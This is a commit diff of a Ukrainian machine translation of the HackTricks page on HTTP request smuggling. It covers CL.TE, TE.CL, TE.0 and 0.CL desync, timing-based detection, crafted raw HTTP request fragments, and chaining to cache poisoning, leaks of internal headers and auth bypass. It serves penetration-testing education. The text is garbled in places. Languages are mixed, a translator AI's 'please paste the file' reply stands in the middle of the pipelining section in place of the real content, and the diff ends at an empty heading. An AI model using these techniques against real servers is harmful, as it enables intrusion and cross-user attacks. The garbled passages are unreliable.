Translated ['src/pentesting-web/http-request-smuggling/README.md'] to uk

2025-10-10 18:36:50 +00:00 · 2025-09-05 11:39:13 +00:00 · 2025-09-05 11:39:13 +00:00 · c509f5101a
commit c509f5101a
parent 06c96b4ffb
1 changed files with 167 additions and 169 deletions
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@ -3,10 +3,10 @@
 {{#include ../../banners/hacktricks-training.md}}


-## Що це таке
+## Що це

-Ця вразливість виникає, коли відбувається **десинхронізація** між **front-end proxy** та **back-end** сервером, що дозволяє **атаці** відправити HTTP **запит**, який **буде інтерпретований** як **один запит** front-end proxy (load balancer/reverse-proxy) і **як 2 запити** back-end сервером.\
-Це дозволяє користувачу **змінити наступний запит**, який надходить до back-end сервера після його запиту.
+Ця вразливість виникає, коли між **front-end proxies** та **back-end** server відбувається **десинхронізація**, що дозволяє **attacker** **send** HTTP **request**, який **interpreted** як **single request** front-end proxies (load balance/reverse-proxy), але **as 2 request** для **back-end** server.\
+Це дозволяє користувачу **modify the next request that arrives to the back-end server after his**.

 ### Теорія

@ -25,57 +25,57 @@

 ### Реальність

-Фронт-енд (a load-balance / Reverse Proxy) **обробляє** або _**Content-Length**_, або _**Transfer-Encoding**_ заголовок, а бекенд-сервер **обробляє інший**, спричиняючи **десинхронізацію** між двома системами.\
-Це може бути дуже критично, оскільки **атакуючий зможе відправити один запит** до reverse proxy, який **бекенд** буде **інтерпретувати** як **2 різні запити**. Небезпека цієї техніки полягає в тому, що **бекенд** буде інтерпретувати **вставлений другий запит** так, ніби він **надійшов від наступного клієнта**, а реальний запит цього клієнта стане **частиною** вставленого запиту.
+**Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ or the _**transfer-encoding**_ header і **Back-end** server **process the other**, що спричиняє **десинхронізацію** між двома системами.\
+Це може бути дуже критично, оскільки **attacker** зможе **send one request** до reverse proxy, який **interpreted** на **back-end** як **2 different requests**. Небезпека цієї техніки в тому, що **back-end** server **interpret** **2nd request injected** так, ніби він **came from the next client**, а реальний request цього клієнта стане **part** of the **injected request**.

 ### Особливості

-Пам'ятайте, що в HTTP **символ нового рядка складається з 2 байт:**
+Пам'ятайте, що в HTTP **new line character складається з 2 байт:**

- **Content-Length**: цей заголовок використовує **десяткове число**, щоб вказати **кількість байтів** в **тілі** запиту. Тіло очікується завершеним у останньому символі, **новий рядок в кінці запиту не потрібен**.
- **Transfer-Encoding:** цей заголовок використовує в **тілі** **шістнадцяткове число**, щоб вказати **кількість байтів** наступного **chunk'у**. **Chunk** має **закінчуватися** новим рядком, але цей новий рядок **не враховується** індикатором довжини. Цей метод передачі має завершуватися **chunk'ом розміру 0, за яким слідують 2 new line**: `0`
- **Connection**: на підставі мого досвіду рекомендовано використовувати **`Connection: keep-alive`** у першому запиті при спробі request smuggling.
+- **Content-Length**: цей header використовує **decimal number**, щоб вказати **number** of **bytes** тіла request. Тіло очікується завершеним останнім символом, **new line в кінці request не потрібен**.
+- **Transfer-Encoding:** цей header використовує у **body** **hexadecimal number**, щоб вказати **number** of **bytes** наступного **chunk**. **Chunk** має **закінчуватися new line**, але цей new line **не враховується** індикатором довжини. Цей метод передачі має закінчуватися **chunk розміру 0, за яким слідують 2 new lines**: `0`
+- **Connection**: з мого досвіду рекомендовано використовувати **`Connection: keep-alive`** у першому request під час request Smuggling.

-### Видиме - Приховане
+### Visible - Hidden

-Головна проблема з HTTP/1.1 у тому, що всі запити йдуть через один TCP сокет, тож якщо між двома системами, що отримують запити, є невідповідність, можна відправити один запит, який буде трактований як два різні запити (або більше) кінцевим бекендом (або навіть проміжними системами).
+Головна проблема HTTP/1.1 в тому, що всі requests йдуть у тому самому TCP socket, тож якщо між двома системами виникає розбіжність у обробці request, можливо відправити один request, який буде розглянутий як два різні requests (або більше) фінальним backend (або навіть проміжними системами).

-**[This blog post](https://portswigger.net/research/http1-must-die)** пропонує нові способи виявлення desync-атак на систему, які не будуть помічені WAFs. Для цього вона представляє поведінки Visible vs Hidden. Мета в цьому випадку — спробувати знайти розбіжності в відповіді, використовуючи техніки, які можуть спричиняти десинхронизації, не експлуатуючи нічого фактично.
+**[This blog post](https://portswigger.net/research/http1-must-die)** пропонує нові способи виявлення desync атак на систему, які не будуть помічені WAF. Для цього воно описує Visible vs Hidden поведінки. Мета — знайти розбіжності у response, використовуючи техніки, які можуть викликати desyncs, без фактичної експлуатації.

-Наприклад, відправка запиту з нормальним Host заголовком і одночасно `" host"` заголовком: якщо бекенд скаржиться на цей запит (можливо, тому що значення `" host"` некоректне), це може означати, що фронт-енд не врахував `" host"` заголовок, тоді як кінцевий бекенд його використав — ймовірно вказуючи на десинхронізацію між фронт-ендом і бекендом.
+Наприклад, відправлення request з нормальним Host header і з " host" header; якщо backend скаржиться на цей request (можливо через некоректне значення " host"), це може означати, що front-end не побачив " host" header, тоді як фінальний backend його використав — ймовірно викликаючи desync між front-end і back-end.

-Це було б **Приховане-Видиме розходження**.
+Це буде **Hidden-Visible discrepancy**.

-Якщо фронт-енд врахував би `" host"` заголовок, а бекенд ні, це могло б бути **Видиме-Приховане**.
+Якщо front-end взяв до уваги " host" header, але back-end — ні, це могло б бути **Visible-Hidden**.

-Наприклад, це дозволило виявити десинхронізації між AWS ALB як фронтом і IIS як бекендом. Коли був надісланий "Host: foo/bar", ALB повертав `400, Server; awselb/2.0`, але коли був надісланий "Host : foo/bar", він повертав `400, Server: Microsoft-HTTPAPI/2.0`, що вказувало на те, що відповідь надходить від бекенду. Це приклад Hidden-Visible (H-V).
+Наприклад, це дозволило виявити desyncs між AWS ALB як front-end і IIS як backend. Це сталося тому, що коли був надісланий "Host: foo/bar", ALB повернув `400, Server; awselb/2.0`, але коли був надісланий "Host : foo/bar", він повернув `400, Server: Microsoft-HTTPAPI/2.0`, вказуючи, що response надійшов від backend. Це Hidden-Visible (H-V) ситуація.

-Зверніть увагу, що ця ситуація не була виправлена в AWS, але її можна запобігти, встановивши `routing.http.drop_invalid_header_fields.enabled` і `routing.http.desync_mitigation_mode = strictest`.
+Зауважте, що ця ситуація не виправлена в AWS, але її можна запобігти, встановивши `routing.http.drop_invalid_header_fields.enabled` та `routing.http.desync_mitigation_mode = strictest`.


-## Базові приклади
+## Basic Examples

 > [!TIP]
 > When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.

-HTTP request smuggling атаки формуються шляхом відправлення неоднозначних запитів, що експлуатують розбіжності в інтерпретації `Content-Length` (CL) і `Transfer-Encoding` (TE) між front-end і back-end серверами. Ці атаки можуть проявлятися в різних формах, переважно як **CL.TE**, **TE.CL**, і **TE.TE**. Кожен тип відображає унікальне поєднання того, як фронт-енд і бекенд віддають пріоритет цим заголовкам. Вразливості виникають, коли сервери обробляють один і той же запит по-різному, що призводить до непередбачуваних і потенційно шкідливих наслідків.
+HTTP request smuggling атаки створюються шляхом відправки неоднозначних requests, які експлуатують розбіжності в тому, як front-end і back-end servers інтерпретують `Content-Length` (CL) та `Transfer-Encoding` (TE) headers. Ці атаки можуть проявлятися у різних формах, переважно як **CL.TE**, **TE.CL**, та **TE.TE**. Кожен тип відображає унікальну комбінацію пріоритетів цих header-ів між front-end та back-end. Вразливості виникають через те, що сервери обробляють один і той же request по-різному, що призводить до несподіваних і потенційно шкідливих результатів.

 ### Базові приклади типів вразливостей

 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)

 > [!TIP]
-> До попередньої таблиці слід додати техніку TE.0, аналогічну CL.0, але з використанням Transfer-Encoding.
+> До попередньої таблиці слід додати техніку TE.0, подібну до CL.0, але з використанням Transfer-Encoding.

 #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

- **Front-End (CL):** Обробляє запит на основі заголовка `Content-Length`.
- **Back-End (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
+- **Front-End (CL):** Обробляє request на основі `Content-Length` header.
+- **Back-End (TE):** Обробляє request на основі `Transfer-Encoding` header.
 - **Сценарій атаки:**

- Атакуючий відправляє запит, де значення заголовка `Content-Length` не відповідає фактичній довжині вмісту.
- Front-end сервер пересилає увесь запит на бекенд, спираючись на значення `Content-Length`.
- Back-end сервер обробляє запит як chunked через заголовок `Transfer-Encoding: chunked`, інтерпретуючи залишкові дані як окремий, наступний запит.
+- Attacker надсилає request, де значення `Content-Length` не відповідає фактичній довжині вмісту.
+- Front-end server пересилає увесь request на back-end, покладаючись на значення `Content-Length`.
+- Back-end server обробляє request як chunked через `Transfer-Encoding: chunked` header, інтерпретуючи решту даних як окремий, наступний request.
 - **Приклад:**

 ```
@ -93,13 +93,13 @@ Foo: x

 #### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

- **Front-End (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
- **Back-End (CL):** Обробляє запит на основі заголовка `Content-Length`.
+- **Front-End (TE):** Обробляє request на основі `Transfer-Encoding` header.
+- **Back-End (CL):** Обробляє request на основі `Content-Length` header.
 - **Сценарій атаки:**

- Атакуючий відправляє chunked-запит, де розмір chunk'у (`7b`) і фактична довжина вмісту (`Content-Length: 4`) не збігаються.
- Front-end сервер, дотримуючись `Transfer-Encoding`, пересилає увесь запит на бекенд.
- Back-end сервер, поважаючи `Content-Length`, обробляє лише початкову частину запиту (7b байт), залишаючи решту як частину небажаного наступного запиту.
+- Attacker надсилає chunked request, де розмір chunk (`7b`) і фактична довжина (`Content-Length: 4`) не узгоджуються.
+- Front-end server, дотримуючись `Transfer-Encoding`, пересилає увесь request на back-end.
+- Back-end server, керуючись `Content-Length`, обробляє лише початкову частину request (`7b` bytes), залишаючи решту як частину ненавмисного наступного request.
 - **Приклад:**

 ```
@ -122,12 +122,12 @@ x=

 #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

- **Servers:** Обидва підтримують `Transfer-Encoding`, але один може бути введений в оману обфускацією.
+- **Servers:** Обидва підтримують `Transfer-Encoding`, але один можна ввести в оману, щоб він ігнорував його через обфускацію.
 - **Сценарій атаки:**

- Атакуючий відправляє запит з обфусцированими заголовками `Transfer-Encoding`.
- Залежно від того, який сервер (front-end або back-end) не розпізнає обфускацію, можна експлуатувати CL.TE або TE.CL вразливість.
- Непроцессована частина запиту, як її бачить один із серверів, стає частиною наступного запиту, що призводить до smuggling.
+- Attacker надсилає request з обфусцированими `Transfer-Encoding` headers.
+- В залежності від того, який сервер (front-end чи back-end) не розпізнає обфускацію, може бути використано CL.TE або TE.CL вразливість.
+- Непроцесована частина request, як її бачить один із серверів, стає частиною наступного request, що призводить до smuggling.
 - **Приклад:**

 ```
@ -149,8 +149,8 @@ Transfer-Encoding

 #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**

- Обидва сервери обробляють запит виключно за заголовком `Content-Length`.
- Цей сценарій зазвичай не призводить до smuggling, оскільки є узгодженість у тому, як обидва сервери інтерпретують довжину запиту.
+- Обидва server-и обробляють request виключно за `Content-Length` header.
+- Цей сценарій зазвичай не призводить до smuggling, оскільки є узгодженість у тому, як обидва server-и інтерпретують довжину request.
 - **Приклад:**

 ```
@ -164,8 +164,8 @@ Normal Request

 #### **CL.0 Scenario**

- Мається на увазі сценарії, де заголовок `Content-Length` присутній і має значення, відмінне від нуля, вказуючи, що тіло запиту не порожнє. Бекенд ігнорує заголовок `Content-Length` (вважає його рівним 0), але фронт-енд його парсить.
- Це важливо для розуміння і створення smuggling-атак, оскільки це впливає на те, як сервери визначають кінець запиту.
+- Відноситься до сценаріїв, де `Content-Length` header присутній і має значення, відмінне від нуля, вказуючи, що тіло request має вміст. Back-end ігнорує `Content-Length` (вважаючи його 0), але front-end його парсить.
+- Це важливо для розуміння та створення smuggling атак, оскільки це впливає на те, як server-и визначають кінець request.
 - **Приклад:**

 ```
@ -179,7 +179,7 @@ Non-Empty Body

 #### TE.0 Scenario

- Подібно до попереднього, але з використанням TE.
+- Подібно до попереднього, але з використанням TE
 - Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
 - **Приклад**:
 ```
@ -201,7 +201,7 @@ EMPTY_LINE_HERE
 ```
 #### `0.CL` Сценарій

-У ситуації `0.CL` запит надсилається з Content-Length на кшталт:
+У ситуації `0.CL` запит надсилається з Content-Length, наприклад:
 ```
 GET /Logon HTTP/1.1
 Host: <redacted>
@ -211,32 +211,31 @@ Content-Length:
 GET /404 HTTP/1.1
 X: Y
 ```
-І фронтенд не бере до уваги `Content-Length`, тому він відправляє на бекенд лише перший запит (до 7 у прикладі). Натомість бекенд бачить `Content-Length` і чекає на тіло, яке ніколи не надходить, бо фронтенд уже чекає на відповідь.
+А front-end не враховує `Content-Length`, тож він надсилає на backend лише перший запит (до 7 у прикладі). Натомість backend бачить `Content-Length` і чекає на тіло, яке ніколи не надходить, бо front-end уже чекає на відповідь.

-Проте якщо існує запит, який можна надіслати на бекенд і на який відповідають до отримання тіла запиту, цей deadlock не відбудеться. Наприклад, в IIS це трапляється при відправленні запитів до заборонених слів, наприклад `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), таким чином початковий запит буде оброблений негайно, а другий запит міститиме запит жертви, наприклад:
+Проте, якщо існує запит, який можна надіслати на backend і на який відповідають до отримання тіла запиту, цього deadlock не станеться. Наприклад, в IIS це відбувається при надсиланні запитів до заборонених імен, таких як `/con` (див. [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), таким чином початковий запит буде оброблено безпосередньо, а другий запит міститиме запит жертви, наприклад:
 ```
 GET / HTTP/1.1
 X: yGET /victim HTTP/1.1
 Host: <redacted>
 ```
-Це корисно для викликання desync, але до цього моменту не мало жодного впливу.
+Це корисно для спричинення десинхронізації, але поки що це не матиме жодного впливу.

-Однак у пості пропонується рішення цього шляхом перетворення **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
+Однак у дописі пропонується рішення для цього шляхом перетворення **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.

 #### Порушення роботи веб-сервера

-Ця техніка також корисна в ситуаціях, коли можливо **break a web server while reading the initial HTTP data** але **without closing the connection**. Таким чином, **body** HTTP-запиту буде вважатися **next HTTP request**.
+Ця техніка також корисна в сценаріях, коли можливо **пошкодити веб-сервер під час читання початкових HTTP-даних**, але **не закриваючи з’єднання**. У такий спосіб **тіло** HTTP-запиту буде вважатися **наступним HTTP-запитом**.

-Наприклад, як пояснено в [**this writeup**](https://mizu.re/post/twisty-python), у Werkzeug можна було надіслати деякі **Unicode** символи, що змушувало сервер **break**. Однак, якщо HTTP-з'єднання було встановлене з заголовком **`Connection: keep-alive`**, тіло запиту не буде прочитано і з'єднання залишиться відкритим, тож **body** запиту буде трактуватися як **next HTTP request**.
+Наприклад, як пояснюється в [**this writeup**](https://mizu.re/post/twisty-python), у Werkzeug можна було відправити деякі **Unicode** символи, і це призводило до того, що сервер виходив з ладу. Однак, якщо HTTP-з’єднання було встановлено з заголовком **`Connection: keep-alive`**, тіло запиту не буде прочитане і з’єднання залишатиметься відкритим, тому **тіло** запиту буде розглядатися як **наступний HTTP-запит**.

 #### Примус через hop-by-hop headers

-Зловживаючи hop-by-hop headers, ви можете вказати proxy **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
+Зловживаючи hop-by-hop headers, ви можете вказати проксі **видалити заголовок Content-Length або Transfer-Encoding, щоб стало можливим виконати HTTP request smuggling**.
 ```
 Connection: Content-Length
 ```
-For **more information about hop-by-hop headers** visit:
-
+Для **додаткової інформації про hop-by-hop headers** перегляньте:

 {{#ref}}
 ../abusing-hop-by-hop-headers.md
@ -244,13 +243,13 @@ For **more information about hop-by-hop headers** visit:

 ## Виявлення HTTP Request Smuggling

-Виявлення вразливостей HTTP request smuggling часто досягається за допомогою таймінгових технік, які ґрунтуються на спостереженні за тим, скільки часу сервер відповідає на маніпульовані запити. Ці техніки особливо корисні для виявлення CL.TE та TE.CL вразливостей. Окрім цих методів, існують інші стратегії та інструменти для пошуку таких вразливостей:
+Виявлення вразливостей HTTP request smuggling часто можна здійснити за допомогою таймінгових методів, які базуються на спостереженні за тим, скільки часу сервер витрачає на відповідь на модифіковані запити. Ці методи особливо корисні для виявлення вразливостей CL.TE та TE.CL. Окрім них, існують інші стратегії та інструменти для пошуку таких вразливостей:

-### Виявлення CL.TE вразливостей за допомогою таймінгових технік
+### Виявлення вразливостей CL.TE за допомогою таймінгових методів

 - **Метод:**

- Надішліть запит, який, якщо застосунок вразливий, змусить бекенд-сервер чекати додаткових даних.
+- Надішліть запит, який, якщо додаток уразливий, змусить back-end server чекати додаткових даних.
 - **Приклад:**

 ```
@ -266,18 +265,18 @@ A
 ```

 - **Спостереження:**
- Фронтенд-сервер обробляє запит на основі `Content-Length` і передчасно перериває повідомлення.
- Бекенд-сервер, очікуючи chunked-повідомлення, чекає наступного chunk, який ніколи не надходить, що спричиняє затримку.
+- front-end server обробляє запит на основі `Content-Length` і передчасно обриває повідомлення.
+- back-end server, очікуючи повідомлення у форматі chunked, чекає наступного chunk, який ніколи не надходить, що спричинює затримку.

 - **Індикатори:**
 - Таймаути або тривалі затримки відповіді.
- Отримання 400 Bad Request від бекенд-сервера, іноді з детальною інформацією про сервер.
+- Отримання помилки 400 Bad Request від back-end server, іноді з детальною інформацією про сервер.

-### Виявлення TE.CL вразливостей за допомогою таймінгових технік
+### Виявлення вразливостей TE.CL за допомогою таймінгових методів

 - **Метод:**

- Надішліть запит, який, якщо застосунок вразливий, змусить бекенд-сервер чекати додаткових даних.
+- Надішліть запит, який, якщо додаток уразливий, змусить back-end server чекати додаткових даних.
 - **Приклад:**

 ```
@ -292,23 +291,23 @@ X
 ```

 - **Спостереження:**
- Фронтенд-сервер обробляє запит на основі `Transfer-Encoding` і пересилає повне повідомлення.
- Бекенд-сервер, очікуючи повідомлення на основі `Content-Length`, чекає додаткових даних, які ніколи не надходять, що викликає затримку.
+- front-end server обробляє запит на основі `Transfer-Encoding` і пересилає повне повідомлення.
+- back-end server, очікуючи повідомлення на основі `Content-Length`, чекає додаткових даних, які ніколи не надходять, що спричинює затримку.

 ### Інші методи пошуку вразливостей

- **Диференційний аналіз відповідей:**
- Надсилайте трохи відмінні версії запиту і спостерігайте, чи відповіді сервера відрізняються несподіваним чином, що вказує на розбіжність у парсингу.
- **Використання автоматизованих інструментів:**
- Інструменти на кшталт розширення 'HTTP Request Smuggler' для Burp Suite можуть автоматично тестувати на такі вразливості, відправляючи різні форми неоднозначних запитів і аналізуючи відповіді.
- **Тести на варіації Content-Length:**
- Надсилайте запити з різними значеннями `Content-Length`, що не збігаються з фактичною довжиною контенту, і спостерігайте, як сервер обробляє такі невідповідності.
- **Тести на варіації Transfer-Encoding:**
- Надсилайте запити з обфускованими або пошкодженими заголовками `Transfer-Encoding` і відстежуйте, як по-різному фронтенд і бекенд сервери реагують на такі маніпуляції.
+- **Differential Response Analysis:**
+- Надсилайте трохи змінені версії запиту і спостерігайте, чи відповіді сервера відрізняються несподіваним чином, що вказує на розбіжність у парсингу.
+- **Using Automated Tools:**
+- Інструменти, як-от розширення Burp Suite 'HTTP Request Smuggler', можуть автоматично тестувати ці вразливості, надсилаючи різні неоднозначні запити та аналізуючи відповіді.
+- **Content-Length Variance Tests:**
+- Надсилайте запити з різними значеннями `Content-Length`, які не відповідають фактичній довжині вмісту, і спостерігайте, як сервер обробляє такі невідповідності.
+- **Transfer-Encoding Variance Tests:**
+- Надсилайте запити з спотвореними або некоректними заголовками `Transfer-Encoding` та стежте, наскільки по-різному front-end і back-end servers реагують на такі маніпуляції.

 ### The `Expect: 100-continue` header

-Перевірте, як цей заголовок може допомогти при експлуатації http desync у:
+Перевірте, як цей заголовок може допомогти експлуатувати http desync у:

 {{#ref}}
 ../../network-services-pentesting/pentesting-web/special-http-headers.md
@ -316,25 +315,25 @@ X

 ### HTTP Request Smuggling Vulnerability Testing

-Після підтвердження ефективності таймінгових технік важливо перевірити, чи можна маніпулювати клієнтськими запитами. Простий метод — спробувати poisoning ваших запитів, наприклад, змусити запит до `/` повернути 404. Приклади `CL.TE` та `TE.CL`, розглянуті раніше в [Basic Examples](#basic-examples), демонструють, як poison-ити клієнтський запит, щоб отримати 404 відповідь, всупереч тому, що клієнт намагався звернутися до іншого ресурсу.
+Після підтвердження ефективності таймінгових методів важливо перевірити, чи можна маніпулювати клієнтськими запитами. Прямий метод — спробувати отруїти ваші запити, наприклад змусити запит до `/` повернути 404. Приклади `CL.TE` та `TE.CL`, обговорені раніше в [Basic Examples](#basic-examples), демонструють, як отруїти клієнтський запит, щоб викликати 404, незважаючи на те, що клієнт намагається отримати інший ресурс.

-**Ключові моменти**
+**Ключові зауваги**

-Під час тестування на вразливості request smuggling через втручання в інші запити врахуйте:
+Коли тестуєте request smuggling шляхом втручання в інші запити, врахуйте:

- **Роздільні мережеві з'єднання:** "атака" та "нормальні" запити повинні відправлятися по окремих мережевих з'єднаннях. Використання одного й того ж з'єднання для обох не підтверджує наявність вразливості.
- **Послідовні URL і параметри:** Намагайтеся використовувати однакові URL та імена параметрів для обох запитів. Сучасні застосунки часто маршрутизують запити на конкретні бекенд-сервери на основі URL та параметрів. Узгодження цих значень підвищує ймовірність того, що обидва запити оброблятиме той самий сервер, що є передумовою для успішної атаки.
- **Таймінг і умов гонки:** "Нормальний" запит, призначений для виявлення перешкод від "атаки", конкурує з іншими одночасними запитами застосунку. Тому відправляйте "нормальний" запит відразу після "атакуючого" запиту. Завантажені застосунки можуть вимагати кількох спроб для остаточного підтвердження вразливості.
- **Проблеми балансування навантаження:** Фронтенд-сервери, що діють як load balancers, можуть розподіляти запити між різними бекенд-системами. Якщо "атака" і "нормальний" запити потрапляють на різні системи, атака не вдасться. Цей аспект балансування може вимагати кількох спроб, щоб підтвердити вразливість.
- **Ненавмисний вплив на користувачів:** Якщо ваша атака ненавмисно впливає на запит іншого користувача (не той "нормальний" запит, який ви відправили для виявлення), це означає, що ваша атака зачепила іншого користувача застосунку. Постійне тестування може порушувати роботу інших користувачів, тому слід діяти обережно.
+- **Окремі мережеві з'єднання:** «attack» та «normal» запити мають надсилатися через окремі мережеві з'єднання. Використання того самого з'єднання для обох не підтверджує наявності вразливості.
+- **Ідентичні URL та параметри:** Намагайтеся використовувати ідентичні URL та імена параметрів для обох запитів. Сучасні додатки часто маршрутизують запити до певних back-end servers на основі URL і параметрів. Відповідність збільшує ймовірність, що обидва запити оброблятиме один і той самий сервер — необхідна умова для успішної атаки.
+- **Таймінг і умови гонки:** «normal» запит, призначений для виявлення втручання «attack» запиту, конкурує з іншими паралельними запитами додатка. Тому надсилайте «normal» запит одразу після «attack» запиту. На навантажених додатках може знадобитися кілька спроб для однозначного підтвердження вразливості.
+- **Проблеми балансування навантаження:** front-end servers, що виконують роль load balancer'ів, можуть розподіляти запити між різними back-end системами. Якщо «attack» та «normal» запити потрапляють на різні системи, атака не вдасться. Цей аспект балансування може вимагати декількох спроб для підтвердження вразливості.
+- **Непередбачений вплив на інших користувачів:** Якщо ваша атака випадково впливає на запит іншого користувача (а не на «normal» запит, який ви надіслали для виявлення), це означає, що ваша атака вплинула на іншого користувача додатка. Постійне тестування може порушити роботу інших користувачів, тому дотримуйтеся обережності.

-## Відокремлення артефактів HTTP/1.1 pipelining від справжнього request smuggling
+## Розрізнення артефактів HTTP/1.1 pipelining та справжнього request smuggling

-Повторне використання з'єднання (keep-alive) та pipelining можуть легко створювати ілюзії «smuggling» у тестових інструментах, що відправляють кілька запитів по одному сокету. Навчіться відрізняти нешкідливі клієнтські артефакти від реального серверного desync.
+Повторне використання з'єднання (keep-alive) і pipelining можуть легко створювати ілюзії «smuggling» у тестових інструментах, які надсилають кілька запитів по одному сокету. Навчіться відрізняти нешкідливі клієнтські артефакти від реальних серверних десинхронізацій (desync).

-### Чому pipelining створює класичні false positives
+### Чому pipelining створює класичні хибні позитиви

-HTTP/1.1 повторно використовує одне TCP/TLS з'єднання і конкатенує запити та відповіді в одному потоці. При pipelining клієнт відправляє декілька запитів підряд і очікує відповіді в тому ж порядку. Поширений false-positive — повторно відправити пошкоджений CL.0-style payload двічі по одному з'єднанню:
+HTTP/1.1 повторно використовує одне TCP/TLS-з'єднання і конкатенує запити та відповіді в одному потоці. При pipelining клієнт відправляє кілька запитів підряд і очікує відповіді у тому ж порядку. Поширений хибнопозитивний випадок — повторна відправка пошкодженого payload у стилі CL.0 двічі по одному з'єднанню:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -343,7 +342,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Будь ласка, вставте вміст файлу src/pentesting-web/http-request-smuggling/README.md, який потрібно перекласти. Я перекладу весь релевантний англомовний текст на українську, зберігаючи точно ту саму розмітку Markdown/HTML, не перекладаючи код, імена технік, загальні хакерські терміни, назви хмар/платформ, слово "leak", посилання, шляхи та спеціальні теги/рефери згідно з вашими вказівками.
+I don't have the file content. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md (including markdown) and I'll translate the English text to Ukrainian, preserving all markdown/html tags, links, paths and code.
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -357,7 +356,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-Якщо сервер ігнорував некоректний `Content_Length`, то немає FE↔BE десинхронізації. При повторному використанні ваш клієнт фактично відправив цей byte-stream, який сервер розібрав як два незалежні запити:
+Якщо сервер ігнорував некоректний `Content_Length`, то немає FE↔BE desync. При повторному використанні ваш клієнт фактично відправив цей байтовий потік, який сервер розбив на два незалежні запити:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -371,77 +370,76 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Impact: none. You just desynced your client from the server framing.
+Вплив: відсутній. Ви лише десинхронізували свій клієнт із фреймінгом сервера.

 > [!TIP]
 > Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

-### Litmus tests: pipelining or real desync?
+### Літмус-тести: pipelining чи реальний desync?

 1. Disable reuse and re-test
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
- In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
- If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
+- У Burp Intruder/Repeater вимкніть HTTP/1 reuse і уникайте "Send group in sequence".
+- У Turbo Intruder встановіть `requestsPerConnection=1` і `pipeline=False`.
+- Якщо поведінка зникає, ймовірно це client-side pipelining, якщо тільки ви не маєте справи з connection-locked/stateful цілями або client-side desync.
 2. HTTP/2 nested-response check
- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
+- Надішліть HTTP/2-запит. Якщо тіло відповіді містить повну вкладену HTTP/1-відповідь, ви довели баг парсингу/desync на backend, а не чисто клієнтський артефакт.
 3. Partial-requests probe for connection-locked front-ends
- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
- See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.
+- Деякі FE повторно використовують upstream BE-з'єднання тільки якщо клієнт повторно використовував своє. Використовуйте partial-requests, щоб виявити поведінку FE, яка відтворює reuse клієнта.
+- Див. PortSwigger "Browser‑Powered Desync Attacks" для техніки connection-locked.
 4. State probes
- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
+- Шукайте відмінності між першим і наступними запитами на тому ж TCP-з'єднанні (first-request routing/validation).
 - Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
 5. Visualize the wire
- Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
+- Використовуйте розширення Burp "HTTP Hacker", щоб безпосередньо інспектувати конкатенацію і фреймінг повідомлень під час експериментів з reuse та partial requests.

 ### Connection‑locked request smuggling (reuse-required)

-Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
- Prove the server-side bug
- Use the HTTP/2 nested-response check, or
- Use partial-requests to show the FE only reuses upstream when the client does.
- Show real impact even if direct cross-user socket abuse is blocked:
+Деякі front-ends повторно використовують upstream-з'єднання лише коли клієнт робить reuse свого. Справжній smuggling існує, але він умовний і залежить від client-side reuse. Щоб розрізнити і довести вплив:
+- Доведіть баг на server-side
+- Використайте HTTP/2 nested-response check, або
+- Використайте partial-requests, щоб показати, що FE повторно використовує upstream лише коли клієнт робить це.
+- Показуйте реальний вплив навіть якщо пряма зловживання сокетом між користувачами заблокована:
 - Cache poisoning: poison shared caches via the desync so responses affect other users.
 - Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
 - Bypass FE controls: smuggle restricted paths/methods past the front-end.
 - Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
- Operator workflow
- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
+- Робочий процес оператора
